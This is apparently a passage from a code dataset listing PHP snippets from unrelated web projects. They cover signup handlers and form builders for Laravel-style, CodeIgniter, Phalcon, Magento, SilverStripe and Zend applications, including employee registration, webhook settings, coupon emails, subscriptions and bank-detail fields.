$this->SiteUser = $this->getSiteUser();\n\n // Create a Member Object\n $NewMemberID = $this->addEmployee($formFields['new_member'], $formFields['password']);\n\n if($NewMemberID > 0)\n {\n // Update User with Member ID\n $this->setSiteUserMemberID($this->getSiteUser()->getID(), $NewMemberID);\n\n // Create & Save a Employee Status Object for the new Member\n $this->addEmployeeStatus('Successful-Signup', $NewMemberID);\n\n // Create & Save a Employee Emails Object\n $NewEmployeeEmailID = $this->addEmployeeEmail($formFields['new_member'], $NewMemberID);\n\n if($NewEmployeeEmailID > 0)\n {\n // Prepare an Email for Validation\n $verifyEmailLink = $this->generateVerifyEmailLink($formFields['new_member'], $NewMemberID, 'verify-new-member');\n $sendEmailStatus = $this->sendEmail\n (\n 'verify-new-member',\n array\n (\n 'verifyEmailLink' => $verifyEmailLink\n ),\n array\n (\n 'fromTag' => 'General',\n 'sendToEmail' => $formFields['new_member'],\n 'sendToName' => 'Welcome to Ekinect',\n 'subject' => 'Welcome to Ekinect',\n 'ccArray' => FALSE,\n 'attachArray' => FALSE,\n )\n );\n\n if($sendEmailStatus)\n {\n // Update employee emails that verification was sent and at what time for this member\n $this->updateEmployeeEmail($NewEmployeeEmailID, array\n (\n 'verification_sent' => 1,\n 'verification_sent_on' => strtotime('now'),\n ));\n\n // Add the emailAddress status\n $this->addEmployeeEmailStatus($formFields['new_member'], 'VerificationSent');\n\n // Redirect to Successful Signup Page that informs them of the need to validate the email before they can login\n $this->registerAccessAttempt($this->getSiteUser()->getID(), $FormName, 1);\n $viewData = array\n (\n 'emailAddress' => $formFields['new_member'],\n );\n return $this->makeResponseView('application/auth/employee-signup-success', $viewData);\n }\n else\n {\n $this->addAdminAlert();\n $this->registerAccessAttempt($this->getSiteUser()->getID(), $FormName, 0);\n Log::info($FormName . \" - Could not send the new employee email to [\" . $formFields['new_member'] . \"] for member id [\" . $NewMemberID . \"].\");\n $employeeService = str_replace(\"[errorNumber]\", \"Could not send the new employee email.\", self::POLICY_LinkEmployeeService );\n $SignupFormMessages[] = \"Sorry, we cannot complete the signup process at this time.\n Please refresh, and if the issue continues, contact \" . $employeeService . \".\";\n }\n }\n else\n {\n $this->addAdminAlert();\n $this->registerAccessAttempt($this->getSiteUser()->getID(), $FormName, 0);\n Log::info($FormName . \" - Could not create a new employee email.\");\n $employeeService = str_replace(\"[errorNumber]\", \"Could not create a new employee email.\", self::POLICY_LinkEmployeeService );\n $SignupFormMessages[] = \"Sorry, we cannot complete the signup process at this time.\n Please refresh, and if the issue continues, contact \" . $employeeService . \".\";\n }\n }\n else\n {\n $this->addAdminAlert();\n $this->registerAccessAttempt($this->getSiteUser()->getID(), $FormName, 0);\n Log::info($FormName . \" - Could not create a new member.\");\n $employeeService = str_replace(\"[errorNumber]\", \"Could not create a new employee.\", self::POLICY_LinkEmployeeService );\n $SignupFormMessages[] = \"Sorry, we cannot complete the signup process at this time.\n Please refresh, and if the issue continues, contact \" . $employeeService . \".\";\n }\n }\n else\n {\n $FormErrors = $validator->messages()->toArray();\n $FormMessages = array();\n foreach($FormErrors as $errors)\n {\n $FormMessages[] = $errors[0];\n }\n\n if(array_key_exists('errors', $passwordCheck))\n {\n foreach($passwordCheck['errors'] as $errors)\n {\n $FormMessages[] = $errors;\n }\n }\n\n $this->registerAccessAttempt($this->getSiteUser()->getID(),$FormName, 0);\n Log::info($FormName . \" - form values did not pass.\");\n }\n }\n else\n {\n $this->registerAccessAttempt($this->getSiteUser()->getID(), $FormName, 0);\n $this->addAdminAlert();\n Log::warning($FormName . \" has invalid dummy variables passed.\");\n $returnToRoute = array\n (\n 'name' => 'custom-error',\n 'data' => array('errorNumber' => 23),\n );\n }\n }\n else\n {\n $this->applyLock('Locked:Excessive-Signup-Attempts', '','excessive-signups', []);\n $returnToRoute = array\n (\n 'name' => 'custom-error',\n 'data' => array('errorNumber' => 18),\n );\n }\n }\n else\n {\n Log::warning($FormName . \" is not being correctly posted to.\");\n $returnToRoute = array\n (\n 'name' => 'custom-error',\n 'data' => array('errorNumber' => 23),\n );\n }\n\n if(FALSE != $returnToRoute['name'])\n {\n return Redirect::route($returnToRoute['name'],$returnToRoute['data']);\n }\n else\n {\n $viewData = array(\n 'activity' => \"signup\",\n\n 'LoginAttemptMessages' => '',\n\n 'LoginFormMessages' => '',\n 'SignupFormMessages' => (count($FormMessages) >= 1 ? $FormMessages : ''),\n 'ForgotFormMessages' => '',\n\n 'LoginHeaderMessage' => ''\n );\n return $this->makeResponseView('application/auth/login', $viewData);\n }\n }", "public function signup()\n\t{\n\t\t$id_telefono = $this->session->userdata('username');\n\t\t$data['estado'] = $this->plataforma_model->getEstado($id_telefono); \n\t\t$data['saldo'] = $this->plataforma_model->getSaldo($id_telefono); \n\t\t$data['usuario'] = $this->plataforma_model->getUserInfo($id_telefono); \n\t\t$this->load->view('signup',$data);\n\t}", "public function prepareForm(FormBuilder $form, Translator $translator);", "public function getRegistrationForm()\n\t{\n\n\t}", "public function populate_application_from_leadform($data) {\n $app_user['txtFName'] = $data['first_name'];\n $app_user['txtLName'] = $data['last_name'];\n $app_user['txtEmailPer'] = $data['email'];\n $app_user['radGender'] = (isset($data['gender'])) ? $data['gender'] : '';\n $app_user['txtPermAdd'] = (isset($data['address'])) ? $data['address'] : '';\n $app_user['txtPhone'] = $data['phone'];\n $app_user['txtPermCity'] = (isset($data['city'])) ? $data['city'] : '';\n $app_user['ddlpermstate'] = (isset($data['state'])) ? $data['state'] : '';\n $app_user['txtPermZip'] = (isset($data['zip'])) ? $data['zip'] : '';\n $app_user['uid'] = $data['uid'];\n $app_user['ddlCountry'] = (isset($data['country'])) ? $data['country'] : '';\n\n if(isset($data['country']) && (($data['country'] == \"United States\") || ($data['country'] == \"US\"))) {\n $app_user['ddlCountry'] = \"US\";\n }\n else if(isset($data['country']) && $data['country'] == \"Canada\") {\n $app_user['ddlCountry'] = \"CA\";\n }\n\n $this->CI->Application_model->add($app_user['uid'], $app_user);\n }", "public function prepare() {\n if (!isset($this->Created))\n $this->Created = date('YmdHis', time());\n\n if (isset($this->ConfirmPassword))\n unset($this->ConfirmPassword);\n\n $this->Password = Auth::getHash($this->Password);\n// $this->ProfileImage = $this->_processProfileImage();\n }", "protected function _prepareForm()\r\n {\r\n $form = new Varien_Data_Form(array(\r\n 'id' => 'edit_form',\r\n 'action' => $this->getUrl('*/*/save', array('id' => $this->getRequest()->getParam('id'))),\r\n 'method' => 'post',\r\n 'enctype' => 'multipart/form-data',\r\n )\r\n );\r\n\r\n $fieldSet = $form->addFieldset('magento_form', array('legend' => $this->helper->__('Webhook information')));\r\n\r\n $fieldSet->addField('code', 'select', array(\r\n 'label' => $this->helper->__('Code'),\r\n 'class' => 'required-entry',\r\n 'name' => 'code',\r\n 'values' => ApiExtension_Magento_Block_Adminhtml_Webhooks_Grid::getAvailableHooks()\r\n ));\r\n\r\n $fieldSet->addField('url', 'text', array(\r\n 'label' => $this->helper->__('Callback URL'),\r\n 'class' => 'required-entry',\r\n 'name' => 'url',\r\n ));\r\n\r\n $fieldSet->addField('description', 'textarea', array(\r\n 'label' => $this->helper->__('Description'),\r\n 'name' => 'description',\r\n ));\r\n\r\n $fieldSet->addField('data', 'textarea', array(\r\n 'label' => $this->helper->__('Data'),\r\n 'name' => 'data',\r\n ));\r\n\r\n $fieldSet->addField('token', 'text', array(\r\n 'label' => $this->helper->__('Token'),\r\n 'name' => 'token',\r\n ));\r\n\r\n $fieldSet->addField('active', 'select', array(\r\n 'label' => $this->helper->__('Active'),\r\n 'values' => ApiExtension_Magento_Block_Adminhtml_Webhooks_Grid::getOptionsForActive(),\r\n 'name' => 'active',\r\n ));\r\n\r\n if ($this->session->getWebhooksData()) {\r\n $form->setValues($this->session->getWebhooksData());\r\n $this->session->setWebhooksData(null);\r\n } elseif (Mage::registry('webhooks_data')) {\r\n $form->setValues(Mage::registry('webhooks_data')->getData());\r\n }\r\n\r\n $form->setUseContainer(true);\r\n $this->setForm($form);\r\n return parent::_prepareForm();\r\n }", "public function prepareElements()\n\t{\n\t\t// or a specification, from which the appropriate object\n\t\t// will be built.\n\n $this->add(array(\n 'name' => 'email',\n 'options' => array(\n 'label' => 'E-mail',\n ),\n 'attributes' => array(\n 'type' => 'text',\n \t'autocomplete' => 'off',\n ),\n ));\n\n $this->add(array(\n 'name' => 'password',\n 'options' => array(\n 'label' => 'Password',\n ),\n 'attributes' => array(\n 'type' => 'text',\n 'autocomplete' => 'off',\n ),\n ));\n\n $this->add(array(\n 'name' => 'role',\n 'options' => array(\n 'label' => 'Role',\n\n ),\n \t'type' => 'Select',\n \t'attributes' => array(\n \t\t'options' => array(\n \t\t\t'test' => 'Hi, Im a test!',\n \t\t\t'Foo' => 'Bar',\n \t\t),\n \t),\n ));\n\n $this->add(array(\n 'name' => 'submit',\n 'attributes' => array(\n 'value' => 'Save new user',\n 'type' => 'submit'\n ),\n ));\n\n\t\t// We could also define the input filter here, or\n\t\t// lazy-create it in the getInputFilter() method.\n\t}", "public function signupAction()\n {\n $form = new SignUpForm();\n\n if ($this->request->isPost()) {\n if($this->security->checkToken())\n {\n if ($form->isValid($this->request->getPost()) != false) {\n $tampemail = $this->request->getPost('email');\n $user = new Users([\n 'name' => $this->request->getPost('name', 'striptags'),\n 'lastname' => $this->request->getPost('lastname', 'striptags'),\n 'email' => $this->request->getPost('email'),\n 'password' => $this->security->hash($this->request->getPost('password')),\n 'profilesId' => 2,\n 'type' => $this->request->getPost('type'),\n 'skype' => $this->request->getPost('skype'),\n 'phone' => $this->request->getPost('phone'),\n 'company' => $this->request->getPost('company'),\n 'address' => $this->request->getPost('address'),\n 'city' => $this->request->getPost('city'),\n 'country' => $this->request->getPost('country'),\n ]);\n\n if ($user->save()) {\n $this->flashSess->success(\"A confirmation mail has been sent to \".$tampemail);\n $this->view->disable();\n return $this->response->redirect('');\n }\n\n $this->flash->error($user->getMessages());\n }\n }\n else {\n $this->flash->error('CSRF Validation is Failed');\n }\n }\n\n $this->view->form = $form;\n }", "protected function _prepareForm()\n {\n $form = new Varien_Data_Form(array(\n 'id' => 'view_form',\n 'action' => $this->getUrl(\n 'incentivize/submitted/send',\n array(\n '_current' => true,\n )\n ),\n 'method' => 'post',\n )); // The above code creates the action for the fieldset\n\n $form->setUseContainer(true);\n $this->setForm($form);\n\n // Define a new fieldset, only one is necassary\n $fieldset = $form->addFieldset(\n 'general',\n array(\n 'legend' => $this->__('Coupon Selection')\n )\n );\n\n // Pull available coupon data to populate option list\n $rulesCollection = Mage::getModel('salesrule/rule')->getCollection();\n $counter = 1;\n\n // Iterate through each shopping cart rule\n foreach($rulesCollection as $rule) {\n $coupon = $rule->getCoupons();\n // Iterate through each coupon in the current iterated shopping cart rule\n foreach ($coupon as $coupons) {\n $options[] = array(\n 'label' => $coupon[$counter]['code'],\n 'value' => $coupon[$counter]['code'],\n );\n $counter++;\n }\n /* GET THE FUCK OUTTA HERE I FUCKIN SOLVED IT! HOLY FUCKIN SHIT */\n\n /**\n * So its better to use '$arr[] = value' to append values to an array then\n * array_push() because it won't make a function call to your code. $arr[]\n * is more performant\n */\n };\n\n // Add the fields we want to be editable\n $fieldset->addField('couponselect', 'multiselect', array(\n 'label' => Mage::helper('bricks_incentivize')->__('Coupons'),\n 'class' => 'required-entry',\n 'required' => true,\n 'name' => 'couponselect',\n 'values' => $options,\n 'disabled' => false,\n 'readonly' => true,\n 'after_element_html' => '<small>Choose one or more coupons to send to the user</small>',\n 'tabindex' => 1\n ));\n $fieldset->addField('sendcoupon', 'submit', array(\n 'label' => Mage::helper('bricks_incentivize')->__('Send Coupon'),\n 'required' => false,\n 'value' => 'Send Coupon',\n 'after_element_html' => '<small>Send coupon to the current users email</small>',\n 'tabindex' => 2\n ));\n\n //var_dump($this->getRequest()->getParam(\"couponselect\")); // So couponselects data is in $_POST, you just can't see it without dumping the data\n\n $couponSelectParam = $this->getRequest()->getParam(\"couponselect\");\n\n // Pull user and store data\n $idParam = $this->getRequest()->getParam('id'); // Get ID param value\n $incentivizeCustomer = Mage::getModel('incentivize/users')->load($idParam);\n\n $customerFirstname = $incentivizeCustomer->getFirstname(); // Pull customer firstname\n $customerLastname = $incentivizeCustomer->getLastname(); // Pull customer lastname\n $customerEmail = $incentivizeCustomer->getEmail(); // Pull user email address\n $store = Mage::app()->getStore(); // Why do I have to pull the store name in two steps?\n $storeName = $store->getName(); // Pull store name\n $storeEmail = Mage::getStoreConfig('trans_email/ident_general/email'); // Pull store general email\n\n // Now check if couponselect param has a value, if it does send an email\n if (isset($couponSelectParam)) {\n // Use a try and catch block for error checking\n try {\n // Load email template\n $emailTemplate = Mage::getModel('core/email_template')->loadDefault('incentivize_email_template');\n // Create variables to use inside the email template\n $emailTemplateVar = array(); // Declare the variable as an array first\n $emailTemplateVar['storeName'] = $storeName;\n $emailTemplateVar['firstName'] = $customerFirstname;\n $emailTemplateVar['lastName'] = $customerLastname;\n $emailTemplateVar['couponCodes'] = implode(\"<br/>\", $couponSelectParam); // Use implode to separate the elements of the array, convert to string, and add line breaks to the output\n // Now inject the variables into the template, and it will return the parsed content to be used in the email\n $processedTemplate = $emailTemplate->getProcessedTemplate($emailTemplateVar);\n\n // Set $mail object settings (More in depth way of doing it - Keeping it for referential purposes)\n /*$mail = Mage::getModel('core/email')\n ->setName('bilaa')\n ->setToEmail('davidcardoso93@gmail.com')\n ->setBody($processedTemplate)\n ->setSubject('Subject :')\n ->setFromEmail('billa@gmail.com')\n ->setFromName('bilaa')\n ->setType('html');*/\n // Send email\n // $mail->send();\n\n $emailTemplate->setSenderName($storeName);\n $emailTemplate->setSenderEmail($storeEmail); // This line MUST be included!\n $emailTemplate->setTemplateSubject($storeName . ' - You received a free coupon');\n // Send the email - Note: getProcessedTemplate is executed within send()\n $emailTemplate->send($customerEmail, $customerFirstname . \" \" . $customerLastname, $emailTemplateVar);\n\n // Output successful message\n Mage::getSingleton('core/session')->addSuccess('Coupon successfully emailed to user!');\n\n return true;\n\n } catch(Exception $error) {\n // If theres an error, output the error\n Mage::getSingleton('core/session')->addError($error->getMessage());\n return false;\n }\n }\n\n // Return the form\n return $this;\n }", "function TrialSignupForm(){\n\t $cardType = array(\n\t \t\"visa\"=>\"<img src='themes/attwiz/images/visa.png' height=30px></img>\",\n\t \t\"mc\"=>\"<img src='themes/attwiz/images/mastercard.jpeg' height=30px></img>\",\n\t \t\"amex\"=>\"<img src='themes/attwiz/images/ae.jpeg' height=30px></img>\",\n\t \t\"discover\"=>\"<img src='themes/attwiz/images/discover.jpeg' height=30px></img>\"\n\t );\n\t $monthArray = array();\n\t for($i =1;$i <=12; $i++){\n\t \t$monthArray[$i]=date('F',mktime(0,0,0,$i));\n\t }\n\t\t$yearArray = array();\n\t $currentYear = date('Y');\n\t\tfor($i =0;$i <=10; $i++){\n\t \t$yearArray[$currentYear+$i]=$currentYear+$i;\n\t }\n\t $trialExpiryDate = date('F-j-Y',mktime(0,0,0,date('n')+1,date('j'),date('Y')));\n\t $subscriptionInfo = \"<div id='SubscriptionInfo'><h2>Post-Trial Subscription Selection</h2>\n\t <p>Your 10 heatmaps will expire on $trialExpiryDate, at which time your account \n\t will be replenished with a new allocation of heatmap credits according to the \n\t subscription level you choose below. You may cancel your subscription any time \n\t before your trial period ends and your credit card will only be charged 1 dollar.</p></div>\";\n\t $subscriptionType = array(\n\t \t\t\"1\"=>\"Bronze - (10 heatmaps for $27.00 / month)\",\n\t \t\t\"2\"=>\"Silver - (50 heatmaps for $97.00 / month)\",\n\t \t\t\"3\"=>\"Gold - (200 heatmaps for $197.00 / month)\"\n\t );\n\t\t$whatsThis = '<span id=\"WhatsThis\"><a id=\"WhatsThisImage\" href=\"themes/attwiz/images/cvv.jpg\" title=\"What\\'s this?\">What\\'s this?</a></span>';\n\t\t$fields = new FieldList(\n\t\t\tnew TextField('FirstName', 'First Name'),\n\t\t\tnew TextField('LastName', 'Last Name'),\n\t\t\tnew TextField('Company', 'Company(optional)'),\n\t\t\tnew TextField('StreetAddress1', 'Street Address1'),\n\t\t\tnew TextField('StreetAddress2', 'Street Address2(optional)'),\n\t\t\tnew TextField('City', 'City'),\n\t\t\tnew TextField('State', 'State/Province'),\n\t\t\tnew TextField('PostalCode', 'Zip/Poatal Code'),\n\t\t\tnew CountryDropdownField('Country'),\n\t\t\tnew OptionsetField('CreditCardType','Credit Card Type',$cardType,'visa'),\n\t\t\tnew TextField('NameOnCard', 'Name On Card'),\n\t\t\tnew NumericField('CreditCardNumber', 'Credit Card Number'),\n\t\t\tnew PasswordField('CVVCode', 'Security/CVV Code'),\n\t\t\tnew LiteralField('WhatIsThis', $whatsThis),\n\t\t\tnew DropdownField('ExpirationMonth','Expiration Date',$monthArray),\n\t\t\tnew DropdownField('ExpirationYear','',$yearArray),\n\t\t\tnew LiteralField('SubscriptionInfo', $subscriptionInfo),\n\t\t\tnew OptionsetField('SubscriptionType','',$subscriptionType,'1'),\n\t\t\tnew CheckboxField('Agreement',' I understand that this is a recurring subscription and I will be billed monthly unless I cancel.')\n\t\t);\n\t // Create action\n\t $actions = new FieldList(\n\t\t\t$submit = new FormAction('doSignup','Start Trial')\n\t );\n\t $submit->setAttribute('src', 'themes/attwiz/images/button_startmytrialnow.gif');\n\t\t// Create action\n\t\t$validator = new RequiredFields(\n\t\t\t\t\t\t\t'FirstName',\n\t\t\t\t\t\t\t'LastName',\n\t\t\t\t\t\t\t'StreetAddress1',\n\t\t\t\t\t\t\t'City',\n\t\t\t\t\t\t\t'State',\n\t\t\t\t\t\t\t'PoatalCode',\n\t\t\t\t\t\t\t'Country',\n\t\t\t\t\t\t\t'CreditCardType',\n\t\t\t\t\t\t\t'NameOnCard',\n\t\t\t\t\t\t\t'CreditCardNumber',\n\t\t\t\t\t\t\t'CVVCode',\n\t\t\t\t\t\t\t'ExpirationMonth',\n\t\t\t\t\t\t\t'ExpirationYear',\n\t\t\t\t\t\t\t'SubscriptionInfo',\n\t\t\t\t\t\t\t'SubscriptionType'\n\t\t);\n\t\t\n\t\t$validator = null;\n\t \t$form = new Form($this, 'TrialSignupForm', $fields, $actions, $validator);\n\t \t$data = Session::get(\"FormInfo.Form_TrialSignupForm.data\"); \n\t\tif(is_array($data)) \n\t\t $form->loadDataFrom($data);\n\t\treturn $form;\t\t\n\t}", "protected function _prepareForm()\n {\n /** @var \\ParadoxLabs\\Subscriptions\\Model\\Subscription $subscription */\n $subscription = $this->_coreRegistry->registry('current_subscription');\n\n /** @var \\Magento\\Framework\\Data\\Form $form */\n $form = $this->_formFactory->create();\n $form->setHtmlIdPrefix('subscription_');\n\n $fieldset = $form->addFieldset('base_fieldset', ['legend' => __('Subscription Details')]);\n\n if ($subscription->getId()) {\n $fieldset->addField('entity_id', 'hidden', ['name' => 'entity_id']);\n }\n\n /** @var \\Magento\\Quote\\Model\\Quote $quote */\n $quote = $subscription->getQuote();\n $products = '';\n\n /** @var \\Magento\\Quote\\Model\\Quote\\Item $item */\n foreach ($quote->getAllItems() as $item) {\n $products .= sprintf('%s (SKU: %s)<br />', $item->getName(), $item->getSku());\n }\n\n $fieldset->addField(\n 'product_label',\n 'note',\n [\n 'name' => 'product',\n 'label' => __('Product'),\n 'text' => $products,\n ]\n );\n\n $fieldset->addField(\n 'description',\n 'text',\n [\n 'name' => 'description',\n 'label' => __('Description'),\n 'title' => __('Description'),\n ]\n );\n\n $fieldset->addField(\n 'status_label',\n 'note',\n [\n 'name' => 'status',\n 'label' => __('Status'),\n 'text' => $this->statusModel->getOptionText($subscription->getStatus()),\n ]\n );\n\n $fieldset->addField(\n 'created_at_formatted',\n 'note',\n [\n 'name' => 'created_at',\n 'label' => __('Started'),\n 'text' => $this->_localeDate->formatDateTime(\n $subscription->getCreatedAt(),\n \\IntlDateFormatter::MEDIUM\n )\n ]\n );\n\n $fieldset->addField(\n 'last_run_formatted',\n 'note',\n [\n 'name' => 'last_run',\n 'label' => __('Last run'),\n 'text' => $this->_localeDate->formatDateTime(\n $subscription->getLastRun(),\n \\IntlDateFormatter::MEDIUM\n )\n ]\n );\n\n $subscription->setData(\n 'next_run_formatted',\n $this->_localeDate->date($subscription->getNextRun())\n );\n $fieldset->addField(\n 'next_run_formatted',\n 'date',\n [\n 'name' => 'next_run',\n 'label' => __('Next run'),\n 'date_format' => $this->_localeDate->getDateFormat(\\IntlDateFormatter::MEDIUM),\n 'time_format' => $this->_localeDate->getTimeFormat(\\IntlDateFormatter::SHORT),\n 'class' => 'validate-date validate-date-range date-range-custom_theme-from',\n 'style' => 'width:200px',\n ]\n );\n\n $fieldset->addField(\n 'run_count',\n 'label',\n [\n 'name' => 'run_count',\n 'label' => __('Number of times billed'),\n ]\n );\n\n $fieldset->addField(\n 'frequency_count',\n 'text',\n [\n 'name' => 'frequency_count',\n 'label' => __('Frequency: Every'),\n 'title' => __('Frequency: Every'),\n ]\n );\n\n $fieldset->addField(\n 'frequency_unit',\n 'select',\n [\n 'name' => 'frequency_unit',\n 'title' => __('Frequency Unit'),\n 'options' => $this->periodModel->getOptionArrayPlural(),\n ]\n );\n\n $fieldset->addField(\n 'length',\n 'text',\n [\n 'name' => 'length',\n 'label' => __('Length'),\n 'title' => __('Length'),\n 'note' => __('Number of cycles the subscription should run. 0 for indefinite.'),\n ]\n );\n\n if ($subscription->getCustomerId() > 0) {\n try {\n $customer = $this->customerRepository->getById($subscription->getCustomerId());\n\n $fieldset->addField(\n 'customer',\n 'note',\n [\n 'name' => 'customer',\n 'label' => __('Customer'),\n 'text' => __(\n '<a href=\"%1\">%2 %3</a> (%4)',\n $this->escapeUrl(\n $this->getUrl('customer/index/edit', ['id' => $subscription->getCustomerId()])\n ),\n $customer->getFirstname(),\n $customer->getLastname(),\n $customer->getEmail()\n )\n ]\n );\n } catch (\\Exception $e) {\n // Do nothing on exception.\n }\n }\n\n // TODO: Add notes field?\n // TODO: Consider adding store, subtotal\n\n $form->setValues($subscription->getData());\n $this->setForm($form);\n\n $this->_eventManager->dispatch('adminhtml_subscription_view_tab_main_prepare_form', ['form' => $form]);\n\n parent::_prepareForm();\n\n return $this;\n }", "public function init()\n {\n \t$userCountry = \tnew Zend_Form_Element_Text('country');\n \t$userCountry\t->setLabel('Country:')\n\t\t\t \t->setRequired(true)\n\t\t\t \t->addValidator('NotEmpty', true);\n \t\n \t$userState = \tnew Zend_Form_Element_Text('state');\n \t$userState\t->setLabel('State:')\n\t\t\t \t->setRequired(true)\n\t\t\t \t->addValidator('NotEmpty', true);\n \t\n \t$userCity = \tnew Zend_Form_Element_Text('city');\n \t$userCity\t->setLabel('City:')\n\t\t\t \t->setRequired(true)\n\t\t\t \t->addValidator('NotEmpty', true);\n \t\n \t$userContact = \tnew Zend_Form_Element_Text('contact');\n \t$userContact \t->setLabel('Contact:')\n\t\t\t\t\t\t->setRequired(true)\n\t\t\t\t \t->addValidator('NotEmpty', true);\n \t\n \t$userImage = \tnew Zend_Form_Element_Text('userImage');\r\n \t$userImage\t->setLabel('Image:')\r\n\t\t\t \t->setRequired(true)\r\n\t\t\t \t->addValidator('NotEmpty', true);\r\n \t \r\n \t$userUniversity = \tnew Zend_Form_Element_Text('university');\r\n \t$userUniversity\t->setLabel('University:')\r\n\t\t\t\t\t ->setRequired(true)\r\n\t\t\t\t\t ->addValidator('NotEmpty', true);\r\n \t \r\n \t$submit = \tnew Zend_Form_Element_Submit('submit');\r\n \t$submit->setLabel('Click here to submit');\r\n \t \r\n \t$this->addElements(array($userCountry,$userState,$userCity,$userContact,$userImage,$userUniversity,$submit));\r\n \t$this->setAttrib('action','Myprofile/adduserprofile');\r\n \t$this->setMethod('post');\r\n \t\n }", "function wyz_ajax_claim_save_form() {\n\n\t$form_data = json_decode( stripslashes_deep( $_REQUEST['form_data'] ),true );\n\tif ( ! empty( $form_data ) && is_array( $form_data ) ) {\n\t\tforeach ( $form_data as $key => $value ) {\n\t\t\t$form_data[ $key ]['hidden'] = true;\n\t\t}\n\t}\n\n\tupdate_option( 'wyz_claim_registration_form_data', $form_data );\n\twp_die();\n}", "public function create()\n {\n return View::make(Config::get('confide::signup_form'))\n \t\t\t->with('errors', true);\n }", "protected function createForm() \n {\n if ($this->form) {\n return $this->form;\n }\n $tm = $this->getContext()->getTranslationManager();\n $id = 0;\n $this->form = new Form_Form(\n array (\n 'method' => 'post',\n 'action' => $this->getContext()->getRouting()->gen('users.register'), //We should add action for ajax calls\n 'submit' => $tm->_('Register'),\n 'id' => $id++,\n 'renderer' => $this->getContainer()->getOutputType()->getRenderer()\n )\n );\n $username = new Form_Elements_TextField(\n array(\n 'name' => 'username',\n 'title' => $tm->_('User name'),\n 'required' => true,\n 'id' => $id++\n ), \n $this->form\n\t );\n $this->form->addChild($username);\n $email = new Form_Elements_TextField(\n array(\n 'name' => 'email',\n 'title' => $tm->_('Email address'),\n 'required' => true,\n 'email' => true,\n 'id' => $id++\n ), \n $this->form\n\t );\n $this->form->addChild($email);\n\n $password = new Form_Elements_PasswordField(\n array(\n 'name' => 'password',\n 'title' => $tm->_('Password'),\n 'required' => true,\n 'min' => 6,\n 'id' => $id++\n ), \n $this->form\n );\n $this->form->addChild($password);\n $confirm = new Form_Elements_PasswordField(\n array(\n 'name' => 'confirm',\n 'title' => $tm->_('Confirm'),\n 'required' => true,\n 'equal' => 'password', //Name of other field \n 'id' => $id++\n ), \n $this->form\n );\n\n $this->form->addChild($confirm);\n return $this->form;\n }", "public function setupForm()\n {\n\n// if ($this->config['db_name'] != NO_DATABASE)\n // $this->redirect(\"login.php\");\n // login here?\n \n/* if ( !$this->ownerLoggedIn() )\n {\n $this->restricted();\n return;\n }\n*/\n require_once('views/SetupView.class.php'); \n \n $site = new SiteContainer($this->db);\n \n $sv = new SetupView();\n\n $site->printHeader();\n $site->printNav(\"owner\");\n $sv->printHtml();\n $site->printFooter(); \n }", "protected function _prepareForm() {\n /**\n * Set save form action.\n */\n $form = new Varien_Data_Form ( array (\n 'id' => 'edit_form',\n 'action' => $this->getUrl ( '*/*/save', array (\n 'id' => $this->getRequest ()->getParam ( 'id' ) \n ) ),\n 'enctype' => 'multipart/form-data',\n 'method' => 'post',\n \n ) );\n /**\n * Set calues to form.\n */\n $form->setUseContainer ( true ); \n /**\n * Set form data \n */\n $this->setForm ( $form ); \n $fieldset = $form->addFieldset ( 'base_fieldset', array (\n 'legend' => Mage::helper ( 'airhotels' )->__ ( 'Bank details' ) \n ) );\n /**\n * Get collection from country list.\n *\n * @var $countryList\n */\n $countryList = Mage::getModel ( 'directory/country' )->getResourceCollection ()->loadByStore ()->toOptionArray ( false );\n /**\n * Display country code.\n * Field type 'multi select'.\n * Required entry true.\n */\n $fieldset->addField ( 'country_code', 'multiselect', array (\n 'name' => 'country_code[]',\n 'label' => Mage::helper ( 'airhotels' )->__ ( 'Countries' ),\n 'title' => Mage::helper ( 'airhotels' )->__ ( 'Countries' ),\n 'required' => true,\n 'values' => $countryList \n ) );\n /**\n * Get currency collection.\n */\n $allCurrency = Mage::getModel ( 'airhotels/allcurrency' )->getCollection ()->addFieldToSelect ( 'value' )->addFieldToSelect ( 'label' )->getData ();\n /**\n * Display currency.\n * Field Name 'currency'.\n * Fields type 'multiselect'\n * Requird entry true.\n */\n $fieldset->addField ( 'currency_code', 'multiselect', array (\n 'name' => 'currency_code[]',\n 'label' => Mage::helper ( 'airhotels' )->__ ( 'Curreny' ),\n 'title' => Mage::helper ( 'airhotels' )->__ ( 'Currency' ),\n 'required' => true,\n 'values' => $allCurrency \n ) );\n /**\n * Display note message.\n */\n $note = Mage::helper ( 'airhotels' )->__ ( 'Example: bank_name, account_number, ifsc_code, payee etc..' );\n /**\n * Display fields name.\n * Field name 'field_name'\n * Field type 'text'\n * Required entry true.\n */\n $fieldset->addField ( 'field_name', 'text', array (\n 'label' => Mage::helper ( 'airhotels' )->__ ( 'Field Name' ),\n 'title' => Mage::helper ( \"airhotels\" )->__ ( 'Field Name' ),\n 'class' => 'required-entry',\n 'required' => true,\n 'name' => 'field_name',\n 'note' => $note \n ) );\n /**\n * Display field title.\n * Field name 'field_title'\n * Field type 'text'\n * Required entry true.\n */\n $fieldset->addField ( 'field_title', 'text', array (\n 'label' => Mage::helper ( 'airhotels' )->__ ( 'Field Title' ),\n 'title' => Mage::helper ( \"airhotels\" )->__ ( 'Field Title' ),\n 'class' => 'required-entry',\n 'required' => true,\n 'name' => 'field_title' \n ) );\n /**\n * Display managebankdetails.\n * Field name 'managebankdetails_data'\n * Field type 'checkbox'\n * Required entry false.\n */\n $bankDataInfo = Mage::registry ( 'managebankdetails_data' )->getData ();\n $fieldset->addField ( 'field_required', 'checkbox', array (\n 'name' => 'field_required',\n 'label' => Mage::helper ( 'airhotels' )->__ ( 'This Field Is Required' ),\n 'title' => Mage::helper ( \"airhotels\" )->__ ( 'This Fieldd Is Required' ),\n 'required' => false,\n 'value' => 1,\n 'checked' => ($bankDataInfo ['field_required'] == 1) ? 'true' : '',\n 'onclick' => 'this.value = this.checked ? 1 : 0;',\n 'disabled' => false,\n 'readonly' => false \n ) );\n if (Mage::registry ( 'managebankdetails_data' )) {\n /**\n * Get managebank details.\n */\n $bankDataInfo = Mage::registry ( 'managebankdetails_data' )->getData ();\n }\n /**\n * Set bank data info.\n */\n $form->setValues ( $bankDataInfo );\n /**\n * Set value to form.\n */\n $this->setForm ( $form );\n /**\n * Calling the parent Construct Method.\n */\n return parent::_prepareForm ();\n }", "public function signup()\n\t{\n\t\t$data = $this->check($this->as_array());\n\t\t\n\t\t$user = Sprig::factory('user');\n\t\t$user->values($data);\n\t\treturn $user->signup();\n\t}", "public function prepareVars()\n {\n if ($this->formField->disabled) {\n $this->previewMode = true;\n }\n\n $permissionsData = $this->formField->getValueFromData($this->model);\n if 